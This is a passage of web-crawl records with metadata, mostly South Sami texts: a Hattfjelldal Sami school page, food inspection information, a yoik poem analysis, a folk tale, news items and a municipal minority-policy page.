lohkemasse jïh tjaeliemasse\n• Aalkoelohkeme jïh –tjaeleme – guktie barkedh smaaveskuvledaltesisnie\n• Lohkemestrategijh – guktie maahta maehtelesvoetem lohkemisnie jïh tjaeliemisnie nuhtjedh\n• Guktie maehtebe barkedh lohkeminie jïh tjaeliemisnie jollebe daltesinie\n• Guktie skraejriem åadtjodh saemiengïelesne tjaeledh\n• Guktie lea guektiengïeleldh maanaj gïeleevtiedimmie\n• Digitaalen learoevierhtieh\/lïeremevierhtieh","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/en\/node\/403","date":"2024-02-28T06:08:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00690.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":126,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"språk\nGun Aira\/ Charlotta Gaebpien-Njaita\/ Marthe Mikkelsen - Åarjelsaemien Vierhtiesåafoe\/ Sørsamisk KunnskapsparkOversatt til bokmål av Tone Vollan Tyldum\/ Charlotta Gaebpien-Njaita\nÅarjelsaemien Vierhtiesåafoe Aarbortesne, Nordlaante fylhkesne. Aarpije lea vaerie mij lea Aarborten lïhke.\nSørsamisk kunnskapspark ligger i Hattfjelldal i Nordland fylke. Fjellet Hatten liggende tett inntil fjellbygda.\nMannasinie Aarborte? Aarbortesne lea internaate mij lij tyske offisersmesse mubpien veartenendåarosne orreme. Internaaten baalte lea skuvlegåetie, dïhte jaepie 1970 taallesne tseegkesovvi.\nMen hvorfor akkurat Hattfjelldal? Hattfjelldal har et internat som var en tysk i offisersmesse under andre verdenskrig. Ved siden av internatet har vi skolehuset som ble satt opp på 70`tallet.\nGaske Nöörjen saemienskuvle jaepie 1951 rïhpesovvi. Learohkelåhkoe lij medtie 40-50 learohkh, jïh learohkh diekie böötin abpe åarjelsaemien dajveste.\n«Skole for samebarn i Midt-Norge» startet opp i 1951. Elevtallet var 40-50 elever, og elevene kom fra hele det sørsamiske.\nJaepie 2022 skuvle 70 jaepien heevehti. Skuvle lea gellie jaepie jorkesisnie orreme, learohkelåhkoe, sïelte hammoeh, jïh ööhpehtimmie hammoeh lea jeatjahtehteme.\nÅr 2022 hadde skolen 70`års-jubileum!! Skolen har frem til i dag gått gjennom store forandringer, både med tanke på elevtall og drifts, og undervisningsform.\nSkuvle ovmessie vuekiegujmie evtiesåvva. Orre skuvlesjaljoe tseegkesovveminie gusnie derviegåetie jïh buvrie. Digitaale vuekiejgujmie aaj evtedeminie, vuesiehtimmiegaavhtan Digilær jïh Learnlab.\nSkolen utvikler seg på forskjellige måter, blant annet bygges det opp et samisk skoletun med en gábmá\/gamme og en buvrie\/bur. Digitalt utvikles vi på ulike plattformer for eksempel, Digilær og LearnLab.\nDaen biejjien maajeööpehtimmiem golme gïeline faalijibie. Åarjel, julev jïh noerhtesaemien. Mijjen sjïere dïedte lea juvlev jïh åarjelsaemiengïele. Mijjen leah learohkh gïeh abpe Nöörjeste båetieh, jïh aaj learohkh Sveerjeste.\nI dag tilbyr vi fjernundervisning i tre språk, sør-, lule- og nordsamisk. Med særlig ansvar for lule-, og sørsamisk. Vi har elever fra hele Norge, og vi har også elever fra Sverige.\nMijjen luvnie lea gïeletjåanghkoe goh lissine maajehööhpehtimmesne. Dam faalehtibie guktie learohkh gelkieh maahtoeulmieh jaksedh gïelem evtiedidh gellie ööhpehtimmie vuekine. Mijjieh learoehkidie daltesisnie juekiejibie maanah, gaske- jïh noeredaltese.\nHos oss har vi Gïelebiesie\/språksamling i tillegg til fjernundervisning. Vi tilbyr dette for at elevene skal nå kunnskapsmålene og for at de skal utvikle språket gjennom flere opplæringsformer. Vi deler opp elevene etter trinnene små, mellom- og stortrinnet.\nGïeletjåanghkosne learohkh åadtjoeh saemiengïelem jïh saemien aerpiemaahtoem lïeredh. Dah darjomh mah skuvlesne leah dah saemien gaektsie jaepieboelhkh jïh båatsoem dåeriedieh. Mijjieh eatnemem vaarjelibie maam eatneme vadta jïh dam ööhpehtimmesne nuhtjijibie.\nGïelebiesie\/språksamling, har fokus på samisk språk og samisk kulturkunnskap. De aktivitetene vi gjør, følger det samiske- året med reindrift og årstidene i fokus. Vi tar vare på hva naturen gir og bruker det i undervisningen.\nDaebpene aaj saemien åålmehbiejjien jïh gïelevåhkoen heevehtibie. Åadtjoejidie aaj lïeredh saemien voejkene jïh jaahkoen bïjre.\nAndre spennende og interessante aktiviteter kan være: Feiring av samisk nasjonaldag, Nasjonell språkuke, bevisstgjøring om samisk åndlighet og religion.\nGïeletjåanghkoe aejlegen aalka jïh duarstan orreje. Learohkh internaatesne årroeminie. Desnie barkijh dovne jïjjh jïh bïejh gïeh learoehkidie geehteminie. Skuvlebiejjien mænngan lustestallijibie. Maehtiejibie voejedh, filmen vuartasjidh, vïtnedidh jïh vaajesem lohkedh j.j.\nUnder gïelebiesie\/Språksamling, som foregår fra søndagskveld til torsdag, bor elevene på internatet. Vi har ansatte døgnet rundt som ser til at alle har det bra. Etter skoletid har vi artige kveldsaktiviteter som basseng, film, sport, fortellerstund m.m.\nÅelieaalmetjh aaj åadtjoeh Aarbortese maanine ektine dåeriedidh jïh internaatesne dej ektine årrodh.\nForesatte får gjerne være med sine barn til Hattfjelldal, for å være sammen med de på internatet.\nFïerhten jaepien akten biejjien eejtegidie jïh skuvlide Åarjelsaemien vierhtiesåafose bööri, gusnie mijjieh skuvlen bïjre gaskesadtebe.\nVi inviterer foreldre og skoler inn til en årlig åpen dag på ÅSV for å informere om skolens virksomhet.\nÅSV aaj workshops maanagïertide, skuvlide, jåarhkeskuvlide, åålmehskuvlide jïh jolleskuvlide faala. Mejtie skuvle lustes govloes?\nÅSV tilbyr også workshops for barnehager, grunnskoler, vgs, folkehøgskoler og Høgskoler. Høres det ut som en spennende skole?\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Govvá\/ Guvvieh\/ Nuotraukos\/ Fotod\/ Bil\/ Photo:\nS1+10: Tone Vollan Tyldum - Åarjelsaemien Vierhtiesåafoe\nS4: Samicultures.com med tillatelse\nS6: Nils Gustav Kappfjell - Åarjelsaemien Vierhtiesåafoe\nS8: Grete Austad - Elever ved Sameskolen, 1957\/58\nS12+16+18+20+22+24+26+28: Åarjelsaemien Vierhtiesåafoe\nS14: Noriko Hasegawa\nwww.samisk365.no\ngaavnoes.no\nRegistrer deg for å lære samisk og delta på gïelebiesie her:\nemail@example.com","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/atlantbib.org\/bm\/%C3%A5arjelsaemien-vierhties%C3%A5afoe-skuvlesne?sourcelang=ssme&comparelang=nb&page=1","date":"2024-02-23T01:40:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473871.23\/warc\/CC-MAIN-20240222225655-20240223015655-00370.warc.gz","language":"sma","language_score":0.9576332569,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9576332569122314, \"sme_Latn_score\": 0.03837883472442627}","num_words":658,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beapmoehvaaksjome\nGuvvie: Therese Rönnbäck\nLïeneståvroen dïedte regionalen beapmoehvaaksjome jïh primæreprodusenth beapmojste vaaksjodh.\nPrimæreproduksjovne bårremh jïh beapmoeh\nJis juvrh jïh minngemes aaj almetjh, edtjieh hijven veasodh lea vihkeles bårroemh juvride darjodh, gïetedidh, våarhkodh, giesiehtidh jïh nuhtjedh vihties vuekine. Primæreproduksjovne lea voestes lïhtse beapmoehværjosne jïh dæjpe gaskem jeatjebem bearkoe, mielhkie, gernieh, kruepiesbårremh produseredh jïh aaj bårremhbleentemh darjodh. Primæreprodusjovne jienebh lïhtsine vååksje Lïeneståvroste jïh Jåartaburrieverkeste. Dan lissine aaj vijreme, gööleme jïh muerjieh jïh goebperh tjöönghkedh jïh aaj dovne guktie bårremh jïh beapmoeh våarhkodh jïh giesiehtidh. Gaajhkh sijjieh gusnie primæreproduksjovne gelkieh registreredh, jïh njoelkedassh gååvnesieh magkerh lissieh, daalhkesh, genmodifieringh jïh jienebh mah leah luhpie utnedh.\nBeapmoehvaaksjome\nÅssjele beapmoehvaaksjojne lea dïhte beapmoeh datne byöpmedh edjta vihties årrodh jih ih datne destie skïemtjijdh. Tjïelth vaaksjoeh dïhte gie beapmoeh jurjiehtidh jïh doekedh lea nuekies maathoem jih tjïehtjelh dïsse guktie dam buektehte. Lïeneståvre tjïelti beapmoehvaaksjomem gïehtjede sæjhta vuejnedh jis dah dam hijven vuekine darjodh. Tjïelti mieriedimmieh maahtah lïeneståvrosne njååhtjedidh.","id":"","dump":"CC-MAIN-2015-27","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/manniska-och-samhalle\/livsmedelskontroll\/Pages\/default.aspx","date":"2015-07-02T18:16:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-27\/segments\/1435375095668.34\/warc\/CC-MAIN-20150627031815-00252-ip-10-179-60-89.ec2.internal.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":151,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Teekstem lohkedh:\nVuelie hov aalka buerkiestidh gåmmebem, Aanna, jïh fierhten beajjetje guvviem dej guaktaj jielemisnie lea. Iemie deahpadimmieh, tjelmiej uvte guvvieh båetieh, guktie govltelæjja vuajna guktie Aanna lea gåetesne nosseminie, dållem nastehteminie. Altese sijjiem dej guaktaj ektievyösemisnie daennie dajvesne, altese barkoem, gåetieiemedine. Jïh seammaaejkien joejkije måjhta guktie jïenehke lea tsoevtsesne jårreminie. Mijjieh hov aerviedibie lea buaredh jïh baahke giesiebiejjen, ihke bovtse bijjene vaeresne jårreminie gårmaj laaremistie. Dagke mujhtehte bovtsem gosse vuajna govnh jïh sjïjlh seamma laakan bïjre svïhtjeminie, jårreminie gosse nastehte. Jis naan aejkien nimhtie tjahkesjamme dållen sjïjlide giehtjedamme, dellie hov aelhkie guarkedh magkarine damtesisnie jïh meanosne Næjla Meehte lij, raaktan goh sealoe geavoemisnie gosse gïehtjede sjïjlh jårreminie. Aelhkebe aaj baajedh åssjalommeside juhtiehtidh gosse nimhtie tjahkesjen, jïh hævvi aaj vualan skejkiehtidh dagkarine domtesisnie.\nAanna gie tjahkan sån gåetesne\nnuvhlieh nastehte\nnastehte bosse\nnastehte bosse\nRåantjoelissie Åvlavuelien speatnosne\njårreminie, jårreminie\njårreminie jårremin–\nMaanah leah stoerregueliem åådjteme, jïh destie dan ålvas billijin guktie geervealmetjh båasarimmiem goltelieh, jïh dellie dah båetieh roehten gïehtjedidh. Daate lea vihkeles deahpadimmiem ihke joejkije destie aerviedamme maanah sih aaj utnieh bovtse lea buerebe gaajhkh jeatjah juvrijste. Buerebe hov bovtsiluvnie årrodh. Jïh aehtjebe åtna luste deahpadimmiem jïh garmeres sjædta juktie nuerebe boelvesne aaj vååjnoe båatsoealmetjen meanoeh. Ojhte lea gaajhkh eejhtegi håhkoe altese maanah edtjieh heevehtidh mij sutnjien lea vihkeles. Jïh aavosne jïh garmedihks aalka gaajhkh sov råantjojde joejkestidh. Båatsoen sjïerebaakoj gujmie maahta fïerhne krïevvem buerkiestidh aalteren, guelmien jïh meanoej mietie. Nimhtie aaj baakoj gaskesne soptseste man gyönehke sjiehteles båatsoekaarre satne lea. Gosse soptseste råantjoeh leah raanhke jïh tjaebpies, dellie daejrehte båatsoekaarre aaj raanhke jïh seamma tjaebpies. Maahtah dam teekstesne gaavnedh? (Åvtese jåhta – åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien, 2005. DAT Guovdageaidnu)\nBuerebh hov leah stoerrevueliem vaaksjodh\nÅvlavuelien råantjh\nÅvlavuelien råantjh\nleah buerebh\nVuartasjidh dejtie\nOvmese staalehke, staalehke,\nTjuesehke, jovjehke, skuallehke,\nraantehke, saelhtehke, samhtjehke\nÅvlavuelien speatnoen\nSpeatnoen, speatnoen, speatnonen\nÅvlavuelien speatnoen\nÅvlavuelien speatnoe,\nNov lea dagke veerehks\nVeerehkes lea gidtjh,\nveerehkes lea gidtjh\nOvmese mov lih raanhkh\nMov lih raanhkh\nÅvlavuelien speatnojne\nRåantjehke ojhte lea tjirkes jïh tjaebpies ealoe, mohte stoerrevaerie jïh Åvlavuelien speatnoe lea veerehks,jïh sïelke lea altese tjaebpies råantjojde vaalteme. Næjla Meehte hov juvlehte jïh tjïerteste guktie altese krievvie gaatoeli; lea njammedovveme. Jih jïjnjh dïejvesh jih baakoeh åtneme mej leah guektiengïerts sisvegem. Vuesiehtimmien gaavhtan vearbem njammedh. Sïejhmesommes lea dam baakoem nuhtjedh gosse buerkiestidh v.g. guktie onnemaanah darjoeh gosse mielkiem jovkeste tjidtjien njammeste, jïh aaj maahta buerkiestidh guktie måasoeh lopme bovtside våålese sïgkeme – mohte jeatja sisvegem dam seamma baakose lea \"biehtedh\" mij lea seamma goh \"deerehtidh\" (nåakelaakan jeatja almetjen vööste dåemiedidh). Daate hov lea daejriehtimmiem mij jïjnjebh jeatjah væhtajgujmie tjuvtjede dagke mij jeatja altese krievvine deahpadamme. Dagke ledtje åvlavuelien sïelke barre jortehtimmiem, jih darhkan jeatja soelegem tjaebpies råantjojde bïkseme? Daate lea sïejhme vuekiem aerhpievierhtien vueline, guektiengïerts dijrem soptsestidh – aktem denotatijve bieliem jïh aaj mubpie konnotatijve bieliem.\nDenotatijve soptseste baakoj sïejhme sisvegem.\nKonnotatijve lea gosse akten soeten vuj baakoevaajesen lea jïjnjebh sisvegh. V.g. Maana aehtjiem skaavtjeste vïegkehte – 1. denotatijve bieliem destie lea, ahte maana lea skaavtjegem bikseme jïh dam geasa. 2. konnotatijve bealesne jeahta: gosse maana vaetieminie dellie aehtjebe dorje guktie maana sæjhta.\n|Åvlavuelien speatnoen vuelelen|\nvuelelen, vuelelen\nAanna sån tjahkesje gåetesne\nbåssede nuvhlieh\nnuvhlieh nastehte\nnastehte båssede\nbåssede, båssede\nnastehte, båssede, båssede\nUnder Oulavuolies jökel,\nunder Oulavuolies jökel\nsitter en människa i kåtan\noch blåser\nrör i bränderna, rör i bränderna,\nblåser, blåser, blåser hårt\nmakar i hop glöden, blåser\nmakar, makar, blåser, blåser.\nVi är båda gamla.\nOulavuolie. Fotograf\/Guvvije: Harald Gaski\nMænngan båeries almetjine sjædteme dellie sijhti jïjtse testameentem nænnoestidh. Sæjhta saemiej jïh kanne jïjnjebelåhkoj minngieboelvide buerkiestidh guktie dejpeli jielemevuekie lij. Sæjhta måjhtoem sov bïjre gorredidh guktie ij måjkede. Dagke aaj sæjhta saemien govledæjjide mujhtiehtidh ahte tjoeverieh aerpievierhtien vuekide heevehtidh.\nBaakoeh:\nJïjnjebelåhkoe – majoritete\nAerpievierhtie – tradisjovne\nvierhtieraajtere – verdiskala\nmåjkede – Saemiej båeries jaahkoen mietie almetjh jaemieaajmose vöölkin mænngan lin jaameme. Lij badth jeatja jielemem, ovrovne desnie, jïh håhkoe lij ahte edtjin åadtjodh saajviaajmose båetedh naan tijjen mænngan. Saajviaajmosne lea tjaebpies veartene, bovtse lea tjirkes jïh buerebe desnie veasodh goh almetji veartanisnie. Dellie lij vihkeles viehkiem åadtjodh sov jielieminie slïekteste guktie dahkoe båetedh. Tjoeverieh åemehkem mujhtedh, joejkemen tjirrh, jalhts dle jaemieaajmosne baatsa.","id":"","dump":"CC-MAIN-2015-32","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?sladja=51","date":"2015-07-29T02:34:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-32\/segments\/1438042985647.51\/warc\/CC-MAIN-20150728002305-00295-ip-10-236-191-2.ec2.internal.warc.gz","language":"sma","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":48,"top_langs":"{\"sma_Latn_score\": 0.9999890327453613}","num_words":667,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kapihtelen bïjre\nSisvege\nUlmieh learoe-soejkesjistie:\nNjaalmeldh govlesadteme\nLearoesoejkesjen ulmieh jiehtieh learohke edtja maehtedh:\n- goltelidh jïh eerlegevoetem vuesiehtidh mubpiej argumentasjovnese, jïh sjyöhtehke jïh eensi argumenth digkiedimmine nuhtjedh\n- ovmessie råållah haalvedh soptsestimmine, digkiedimmine, dramatiseringinie jïh åehpiedehtieminie\nLïerehtimmien ulmie lea learohke edtja maehtedh\n- argumentasjovnem tjïelkestidh mubpiej tjaaleginie, jïh jïjtse argumentereles tjaalegh tjaeledh gïelem jïh soptsestimmievuekieh sjïehtedidh\n- gïelem jïh soptsestimmievuekieh sjïehtedidh ovmessie tjaelemetsiehkide skuvlesne, siebriedahkesne jïh barkoejieliedisnie\nGïele, kultuvre jïh lidteratuvre\nLïerehtimmien ulmie lea learohke edtja maehtedh\n- soptsestidh gelliesåarhts gïeleviehkiedïrregi bïjre, jïh dej funksjovnem buerkiestidh\nDaennie kapihtelisnie datne åadtjoeh govlesadtemen bïjre lohkedh. Datne åadtjoeh lïeredh guktie sinsitnine govlesadtebe jïh mubpide soptsesth. Datne maahtah dovne faage-tjaalegh lohkedh jïh laavenjassh darjodh.\nGuktie kapihtele öörneme\nKapihtelen tjïjhtje faage-sæjroeh. Voestegh datne åadtjoeh lïeredh mij govlesadteme, dan mænngan åadtjoeh lohkedh guktie maahtah govlesadtedh.\n- Mij lea govlesadteme?\n- Maam jïh mejnie govlesadtebe?\n- Goltelidh jïh soptsestidh\n- Govlesadteme-maahtoe\n- Guktie argumenteradidh?\n- Njaalmeldh åehpiedehteme\n- Njaalmeldh åehpiedehtemem vuarjasjidh","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/164987?fag=126960","date":"2017-03-30T04:59:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00250-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":142,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien jïh boelt-aajjan dååjvehtse\nSaemien jïh boelt-aajjan dååjvehtse\nGuhkiem daan åvtelen man bïjre edtjem daelie soptsestidh.\nLopme abpe laantem alvas guhkiem gaptjeme. Ånnetji die sjalkesti, jïh laante eelki vååjnedh. Smaave daarhvetjh bïevline sjïdtin. Kraasetjh aaj. Voestes juvre bööti gåatoen. Bovtse dïhte. Dan mïnngesne jis saemie, bovtsen almetje.\nÅnnetji die boelt-aajja aaj mïnngesne slåahra-raejkien bööti vaedtsien. Ij lij gujht dïsse jïjnjem gaavnedh bårredh, eelki bovtsijste åesiem vaeltedh. Idtji goh saemie dam Iyjhkh, juktie bovtsh lin sov. Dejtie hov Raane-nïejteste åådtjeme.\nSaemie boelt-aajjese måarahtovvi, jïh jeahta: \"Aellieh daejstie mov bovtsijste vaeltieh goh! Ollem datnem buvvieh!\"\nBoelt-aajja jeahta. \"Mestie edtjem jieledh jis im manne aaj luhpiem åadtjoeh bovtsh bårrelidh seamma guktie datne?\"\nSaemie jeahta: \"Jielieh amma datne aaj kraesijste burhvijste guktie bovtse.\"\nBoelt-aajja dïsse. \"Nov gujht maaje, manne gujht aaj tuhtjem bearkoeh jïh buejtieh njaelkie.\"\nSaemie: \"Bovtse lea mov. Dam hov Raane-nïejteste åådtjeme.\"\nBoelt-aajja: \"Vööjnim hov mov duekesne jïjnjh gertelh aaj mïnngesne båetieh goeren. Dah sih aaj bovtsijste ussjedieh bårrelidh. Guktie vïenhth datne oktegh bovtside nahkesjh geehtedh gosse jïjnjh dejstie gertielijstie båetieh?\"\nSaemie: \"Mejtie sïjhth munnjien viehkine årrodh bovtside geehtedh?\"\nBoelt-aajja: \"Jaa, jis ohtje baalhketjem åadtjoem. Jis neastetjem munnjien aaj sååjhtoe, dle edtjem datnem viehkiehtidh bovtsem jïh laantem gertielijstie geehtedh.\"\nSaemie gujhth dåajvoehti.\nBïerne vihth: \"Aktem vihth dååjvehtsem datneste krïebpesjem.\"\nSaemie: \"Mij sån badth dïhte?\"\nBoelt-aajja: \"Jis sååjhtoe naakenem mov såeleste buvvedh, dellie galkh tjaebpieslaakan dåemiedidh - mannem heevehtidh jïh mov vueliem joejkedh, måarojde tjiehpieslaakan öörnedh jïh dujmieslaakan juvledh.\"\nSaemie: \"Dam aaj dåajvohtem.\"\nBoelt-aajja: \"Jis monnen dååjvehtsem åajeldh, dellie edtjh laantem dassedh, jïh guktie dellie vïenhth dej dov bovtsigujmie?\"\nNaemhtie dam dah guaktah seamadigan.1\ndååjvehtse\nløfte","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/129768?fag=126960","date":"2017-04-27T09:22:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122041.70\/warc\/CC-MAIN-20170423031202-00499-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":262,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goevten govhteden biejjien jaepie 1917 voestes saemien laantetjåangkoe Tråantesne, jïh dïhte lij åarjelsaemien nyjsenæjjam Elsa Laula Renberg mij initiatijvem tjåankose veelti.\n2017 edtja heevehtimmie årrodh, jïh dïhte lea Saemiedigkiem, Tråanten tjïelte jïh Åarjel-Trøøndelagen fylhketjïeltie mah ektesne barkieh juktie deahpadimmie sjædta.\nAlmetjh bievnedh\nHeevehtimmien profijlebaakoeh lea: Dorjehtimmie, heevehtimmie, ïedtje jïh demokratije, jïh heevehtimmien ulmie lea deahpadimmiem mujhtedh jïh aavoedidh, jïh aaj almetjh saemiej jïh saemien kultuvre bijre bievnedh. .\nIda Marie Bransfjell\nNasjovnale heevehtimmie sjædta\nSjïere barkoedåehkie edtja heevehtimmiem soejkesjidh. Dåehkesne prosjeekteåejvie Ida Marie Bransfjell, Kjell Magne Derås maam dïedte åtna, almetjh Saemiedigkeste, Tråanten tjïelteste jïh Åarjel-Trøøndelagen fylhketjïelteste.\nLogo-gaahtjeme\nHeevehtimmien åvtelen, barkoedåehkiem almetjh bøørie logo guvviedih. Logoem edtja deahpadimmiem vååjnosne buektedh jïh aaj dåemiedidh dej profijlebaakoejgujmie.\n– Mijjieh vajtelibie gaajhkh kåanstehaammoeh buerie båeteme, prosjekteåejvie Ida Marie Bransfjell jeahta.\nIda Marie Bransfjell\nGaajhkesh åadtjoeh meatan årrodh!\nGaajhkesh åadtjoeh meatan årrodh, jïh barkoedåehkiem håhkesje almetjh abpe Saepmeste sïjhtieh logo darjodh. Dïhte gie gaahtjemem vitnie, 5.000 kråvnah åadtjoe, jïh åadtjoe aaj logoem akte grafikerine evtiedidh.\nMinngemes gaahtjemebiejjie lea mïetsken luhkievïjhteden biejjien. Jïh skïereden åadtjeoejibie daejredh gie vitneme.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/dov-guvvie-maahta-heevehtimmiem-vaajnosne-buektedh-1.12437962","date":"2017-12-13T05:55:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948521292.23\/warc\/CC-MAIN-20171213045921-20171213065921-00267.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":168,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Manne leam niejte jih datne leah pååjke.\nMonnoeh lean noere jih aahka lea båeries.\nMaana lea onne, maana mielhkiem sæjhta.\nBåeries almetjh kraavhtsem sijhtieh.\nMijjieh noere learohkh løøvjem sijhtibie.\nMonnoeh åabpah sijhtien lohkedh.\nDotnoeh viellb sæjloes, dotnoeh sijhtidien byøpmedidh.\nPiere gonnoeh Læjsah lægan gåetesne.\nDah sijhtijægan liegkedidh.\nDatne sijhth lohkedh, datne leah væjkele.\nMaam datne vienhth aajkohke sæjhta?\nDihte sån mielhkiem sæjhta.\nMaam dijjieh lohkehtæjjah sijhtidie?\nMijjieh joptsem sijhtibie.\nManne leam niejte jih datne leah pååjke.","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/sijtijarnge.no\/manne-leam-niejte\/","date":"2018-01-18T21:58:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887621.26\/warc\/CC-MAIN-20180118210638-20180118230638-00475.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":76,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jovna Zakharias Dunfjell sjïere skuvle vaadtseme, jïh organiste gåhtjoe. Aarkebiejjiesne staeries organiste Rissan tjïeltesne, Åarjel-trøøndelagesne, mohte daelie edtja jeatjah sæjjan vuelkedh barkedh: Svalbardese.\nGuhkie vuertedh\nJovna Zakharias soptseste tjaalegem vøøjni gusnie organiste Svalbardesne ohtsin.\n– Manne ussjedim, daam nuepiem im åadtjoeh vihth, tjoerem syøkedh, Dunfjell soptseste.\nDïhte syøkemem seedti, jïh vuertieji. Dan guhkiem vaasi, jïh Dunfjell åssjalommem luejhti. Idtji dïhte vïenhth edtji maam govledh. Mohte dellie teelefovnem ringki... Dah sïjhtin dïhte edtji båetedh juktie åadtjoejin satnine soptsestidh.\nJovna Zakharias Dunfjell\nJïjnjh buerie aath Svalbarden bijre govleme\nGieltegs\nDunfjell tuhtjie Svalbard lea gieltegs sijjie, jïh soptseste ij gåessie ålkoerïjhkesne lohkeme, læjhkan mejtie gaajhkesh jeahteme dïhte byøroe dam darjodh. – Svalbard mov jaepie ålkoerïjhkesne sjædta, dïhte jeahta jïh føørhkede.\nDunfjell aavode Svalbardese vuelkedh, mohte jeahta sjuevnjedstijjiem densie haesteme sjædta. Mohte veanhta hov hijven gåerede!\nJovna Zakharias Dunfjell\nUssjedh gosse lea seamma sjuevnjede biejjegen goh iehkeden","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.nrk.no\/sapmi\/orre-barkoe-aalka-1.12436691","date":"2018-03-18T20:24:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645943.23\/warc\/CC-MAIN-20180318184945-20180318204945-00409.warc.gz","language":"sma","language_score":0.9998272061,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998272061347961}","num_words":141,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kommunfullmäktige antog ett minoritetspolitiskt program i april 2012. Kommunstyrelsen beslutade i juni 2012 om en strategi med inriktningsmål för minoritetspolitiken i Strömsunds kommun.\nStrömsund är en av förvaltningskommunerna för samiska som särskilt ska skydda och främja samisk kultur och samiska språk.\nKommunen ska:\nÅarjelsaemien\nAktem unnebelåhkoepolitijkeprogramme tjïeltenreeremistie njoktjen askesne 2012 dïedti. Tjïeltenreereme nænnoesti ruffien 2012 akten strategien bïjre gusnie ulmie unnebelåhkoepolitihkese Straejmien tjïeltesne lij. Unnebelåhkoeprogramme 2016 jaepien nuelesne revideereme.\nStraejmien tjïelte lea akte dejstie 19 reeremetjïeltijste saemiengïelese mah sjïere edtjieh saemien kultuvrem jïh saemien gïelide vaarjelidh jïh evtiedidh.\nTjïelte edtja\nRelaterad information\nBroschyrer\nÅarjelsaemien\nSenast ändrad\/granskad: 9 november 